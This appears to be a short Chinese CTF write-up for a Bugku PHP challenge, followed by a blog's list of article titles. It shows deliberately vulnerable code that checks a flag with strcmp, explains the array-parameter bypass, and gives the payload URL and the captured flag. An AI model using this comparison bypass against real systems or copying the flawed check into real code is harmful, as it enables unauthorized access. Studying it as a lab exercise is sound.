<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0)
//如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

strcmp(str1,str2)

如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
比较两个字符串(区分大小写)

如果我们传入非字符串类型的数据的时候(数组),这个函数将发生错误,并且返回数值 0

在5.3之前的php中,显示了报错的警告信息后,返回数值0

我们可以构造payload

http://123.206.87.240:9009/6.php?a[]=1

得到flag

Flag: flag{bugku_dmsj_912k}

最新文章

  1. 011商城项目:图片服务器的安装---nginx
  2. c++模版函数
  3. xstream 别名的用法&lt;转&gt;
  4. Java[1] Java学习书籍汇总(转)
  5. javascript实现限制上传文件的大小
  6. UVA10487(二分)
  7. 准确率和召回率(precision&amp;amp;recall)
  8. Access denied for user: &amp;#39;root@localhost&amp;#39; (Using password: YES)
  9. Delphi 常用API 函数
  10. 如何做一个导航栏————浮动跟伪类(hover)事件的应用
  11. 好用的sql
  12. STM32的定时器定时时间计算(计数时间和中断定时时间)
  13. Java-SSM框架页面时间格式转换
  14. 【SerpentAI:Python开源游戏智能体开发框架——相比OpenAI Universe可导入自己的游戏、可脱离Docker/VNC运行】
  15. 使用Filter跟踪Asp.net MVC页面加载(转)
  16. Differencia (归并树)
  17. CentOS安装Git,并上传、下载
  18. 百度地图JS API不能使用position:fixed
  19. python 对文件的操作
  20. hdu4758 Walk Through Squares

热门文章

  1. blue bossa
  2. IDEA取消SVN关联 , 在重新分享项目
  3. CF-579 D. &quot;Or&quot; Game
  4. Java 常用正则表达式搜集ing
  5. 在Azure DevOps Server中运行基于Spring Boot和Consul的微服务项目单元测试
  6. promise处理回调地狱
  7. 【shell脚本】检查内存使用情况===chenkMen.sh
  8. 2019.11.21 做OJ题的反思
  9. com.alibaba.fastjson.JSONObject之对象与JSON转换方法
  10. 机器学习(九)-------- 聚类(Clustering) K-均值算法 K-Means